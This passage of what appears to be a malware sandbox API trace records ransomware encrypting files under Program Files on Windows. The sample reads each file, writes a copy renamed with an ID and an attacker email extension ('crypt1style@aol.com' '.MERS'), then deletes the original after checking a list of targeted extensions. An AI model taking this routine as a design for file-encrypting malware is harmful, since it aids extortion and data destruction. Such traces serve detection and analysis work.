lpString2=".wmf") returned -1 [0258.840] lstrcmpiW (lpString1=".htm", lpString2=".MERS") returned -1 [0258.840] lstrlenW (lpString="Hand Prints.htm") returned 15 [0258.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0258.841] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=235) returned 1 [0258.841] CloseHandle (hObject=0x318) returned 1 [0258.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0258.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0258.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0258.842] lstrlenW (lpString=".doc") returned 4 [0258.842] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0258.842] lstrlenW (lpString=".docx") returned 5 [0258.842] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0258.842] lstrlenW (lpString=".pdf") returned 4 [0258.842] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0258.842] lstrlenW (lpString=".xls") returned 4 [0258.842] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0258.842] lstrlenW (lpString=".xlsx") returned 5 [0258.842] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0258.842] lstrlenW (lpString=".ppt") returned 4 [0258.842] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0258.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0258.842] lstrlenW (lpString=".zip") returned 4 [0258.842] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0258.842] lstrlenW (lpString=".rar") returned 4 [0258.842] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0258.842] lstrlenW (lpString=".bz2") returned 4 [0258.842] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0258.842] lstrlenW (lpString=".7z") returned 3 [0258.842] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0258.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0258.842] lstrlenW (lpString=".dbf") returned 4 [0258.842] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0258.844] @RtlpReAllocateHeap@16 () [0258.845] lstrcmpiW (lpString1=".jpg", lpString2=".MERS") returned -1 [0259.230] @RtlpReAllocateHeap@16 () [0259.230] lstrcmpiW (lpString1=".png", lpString2=".MERS") returned 1 [0259.626] lstrcmpiW (lpString1=".png", lpString2=".MERS") returned 1 [0259.926] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0259.926] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0259.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0260.792] GetLastError () returned 0x0 [0260.792] ReadFile (in: hFile=0x3a0, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x712e, lpOverlapped=0x0) returned 1 [0260.808] WriteFile (in: hFile=0x39c, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x7130, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x7130, lpOverlapped=0x0) returned 1 [0260.810] ReadFile (in: hFile=0x3a0, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0260.810] WriteFile (in: hFile=0x39c, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xe6, lpOverlapped=0x0) returned 1 [0260.810] SetEndOfFile (hFile=0x39c) returned 1 [0260.810] CloseHandle (hObject=0x39c) returned 1 [0260.810] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0260.810] SetEndOfFile (hFile=0x3a0) returned 1 [0260.840] CloseHandle (hObject=0x3a0) returned 1 [0260.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0260.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 1 [0260.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0260.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0260.850] lstrlenW (lpString=".doc") returned 4 [0260.851] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0260.851] lstrlenW (lpString=".docx") returned 5 [0260.851] lstrcmpiW (lpString1=".docx", lpString2="t.xsl") returned -1 [0260.851] lstrlenW (lpString=".pdf") returned 4 [0260.851] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0260.851] lstrlenW (lpString=".xls") returned 4 [0260.851] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0260.851] lstrlenW (lpString=".xlsx") returned 5 [0260.851] lstrcmpiW (lpString1=".xlsx", lpString2="t.xsl") returned -1 [0260.851] lstrlenW (lpString=".ppt") returned 4 [0260.851] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0260.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0260.851] lstrlenW (lpString=".zip") returned 4 [0260.851] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0260.851] lstrlenW (lpString=".rar") returned 4 [0260.851] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0260.851] lstrlenW (lpString=".bz2") returned 4 [0260.851] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0260.851] lstrlenW (lpString=".7z") returned 3 [0260.851] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0260.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0260.851] lstrlenW (lpString=".dbf") returned 4 [0260.851] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0260.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0260.851] lstrlenW (lpString=".1cd") returned 4 [0260.851] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0260.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0260.851] lstrlenW (lpString=".jpg") returned 4 [0260.852] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0260.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0260.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0260.852] lstrlenW (lpString=".doc") returned 4 [0260.852] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0260.852] lstrlenW (lpString=".docx") returned 5 [0260.852] lstrcmpiW (lpString1=".docx", lpString2="t.xsl") returned -1 [0260.852] lstrlenW (lpString=".pdf") returned 4 [0260.852] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0260.852] lstrlenW (lpString=".xls") returned 4 [0260.852] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0260.852] lstrlenW (lpString=".xlsx") returned 5 [0260.852] lstrcmpiW (lpString1=".xlsx", lpString2="t.xsl") returned -1 [0260.852] lstrlenW (lpString=".ppt") returned 4 [0260.852] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0260.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0260.852] lstrlenW (lpString=".zip") returned 4 [0260.852] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0260.852] lstrlenW (lpString=".rar") returned 4 [0260.852] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0260.852] lstrlenW (lpString=".bz2") returned 4 [0260.852] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0260.852] lstrlenW (lpString=".7z") returned 3 [0260.852] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0260.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0260.852] lstrlenW (lpString=".dbf") returned 4 [0260.852] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0260.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0260.852] lstrlenW (lpString=".1cd") returned 4 [0260.852] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0260.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0260.853] lstrlenW (lpString=".jpg") returned 4 [0260.853] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0260.853] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0260.853] lstrlenW (lpString="AG00037_.GIF") returned 12 [0260.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0260.890] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=6684) returned 1 [0260.890] CloseHandle (hObject=0x2d8) returned 1 [0260.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 0x20 [0260.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0260.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0260.915] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0260.915] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0260.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0261.175] GetLastError () returned 0x0 [0261.175] ReadFile (in: hFile=0x39c, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x1a1c, lpOverlapped=0x0) returned 1 [0261.239] WriteFile (in: hFile=0x3b0, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x1a20, lpOverlapped=0x0) returned 1 [0261.240] ReadFile (in: hFile=0x39c, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0261.240] WriteFile (in: hFile=0x3b0, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.240] SetEndOfFile (hFile=0x3b0) returned 1 [0261.240] CloseHandle (hObject=0x3b0) returned 1 [0261.240] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0261.240] SetEndOfFile (hFile=0x39c) returned 1 [0261.630] CloseHandle (hObject=0x39c) returned 1 [0261.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0261.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 1 [0261.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0261.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0261.631] lstrlenW (lpString=".doc") returned 4 [0261.631] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0261.631] lstrlenW (lpString=".docx") returned 5 [0261.631] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0261.631] lstrlenW (lpString=".pdf") returned 4 [0261.631] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0261.631] lstrlenW (lpString=".xls") returned 4 [0261.631] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0261.631] lstrlenW (lpString=".xlsx") returned 5 [0261.632] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0261.632] lstrlenW (lpString=".ppt") returned 4 [0261.632] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0261.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0261.632] lstrlenW (lpString=".zip") returned 4 [0261.632] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0261.632] lstrlenW (lpString=".rar") returned 4 [0261.632] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0261.632] lstrlenW (lpString=".bz2") returned 4 [0261.632] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0261.632] lstrlenW (lpString=".7z") returned 3 [0261.632] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0261.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0261.632] lstrlenW (lpString=".dbf") returned 4 [0261.632] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0261.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0261.632] lstrlenW (lpString=".1cd") returned 4 [0261.632] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0261.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0261.632] lstrlenW (lpString=".jpg") returned 4 [0261.632] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0261.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0261.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0261.633] lstrlenW (lpString=".doc") returned 4 [0261.633] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0261.633] lstrlenW (lpString=".docx") returned 5 [0261.633] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0261.633] lstrlenW (lpString=".pdf") returned 4 [0261.633] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0261.633] lstrlenW (lpString=".xls") returned 4 [0261.633] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0261.633] lstrlenW (lpString=".xlsx") returned 5 [0261.633] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0261.633] lstrlenW (lpString=".ppt") returned 4 [0261.633] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0261.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0261.633] lstrlenW (lpString=".zip") returned 4 [0261.633] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0261.633] lstrlenW (lpString=".rar") returned 4 [0261.633] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0261.633] lstrlenW (lpString=".bz2") returned 4 [0261.633] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0261.634] lstrlenW (lpString=".7z") returned 3 [0261.634] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0261.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0261.634] lstrlenW (lpString=".dbf") returned 4 [0261.634] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0261.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0261.634] lstrlenW (lpString=".1cd") returned 4 [0261.634] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0261.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0261.634] lstrlenW (lpString=".jpg") returned 4 [0261.634] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0261.635] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0261.635] lstrlenW (lpString="AG00040_.GIF") returned 12 [0261.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0261.639] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=8097) returned 1 [0261.639] CloseHandle (hObject=0x3a8) returned 1 [0261.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 0x20 [0261.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0261.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0261.640] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0261.640] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0261.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0261.644] GetLastError () returned 0x0 [0261.644] ReadFile (in: hFile=0x3a8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x1fa1, lpOverlapped=0x0) returned 1 [0261.753] WriteFile (in: hFile=0x3a0, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x1fb0, lpOverlapped=0x0) returned 1 [0262.139] ReadFile (in: hFile=0x3a8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0262.139] WriteFile (in: hFile=0x3a0, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.139] SetEndOfFile (hFile=0x3a0) returned 1 [0262.139] CloseHandle (hObject=0x3a0) returned 1 [0262.139] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0262.139] SetEndOfFile (hFile=0x3a8) returned 1 [0262.188] CloseHandle (hObject=0x3a8) returned 1 [0262.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0262.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0262.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0262.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0262.205] lstrlenW (lpString=".doc") returned 4 [0262.205] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.205] lstrlenW (lpString=".docx") returned 5 [0262.205] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0262.205] lstrlenW (lpString=".pdf") returned 4 [0262.205] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0262.205] lstrlenW (lpString=".xls") returned 4 [0262.205] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0262.205] lstrlenW (lpString=".xlsx") returned 5 [0262.205] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0262.205] lstrlenW (lpString=".ppt") returned 4 [0262.205] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0262.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0262.205] lstrlenW (lpString=".zip") returned 4 [0262.205] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0262.205] lstrlenW (lpString=".rar") returned 4 [0262.205] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0262.205] lstrlenW (lpString=".bz2") returned 4 [0262.205] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.206] lstrlenW (lpString=".7z") returned 3 [0262.206] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0262.206] lstrlenW (lpString=".dbf") returned 4 [0262.206] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0262.206] lstrlenW (lpString=".1cd") returned 4 [0262.206] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0262.206] lstrlenW (lpString=".jpg") returned 4 [0262.206] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0262.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0262.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0262.207] lstrlenW (lpString=".doc") returned 4 [0262.207] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.207] lstrlenW (lpString=".docx") returned 5 [0262.207] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0262.207] lstrlenW (lpString=".pdf") returned 4 [0262.207] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0262.207] lstrlenW (lpString=".xls") returned 4 [0262.207] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0262.207] lstrlenW (lpString=".xlsx") returned 5 [0262.207] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0262.207] lstrlenW (lpString=".ppt") returned 4 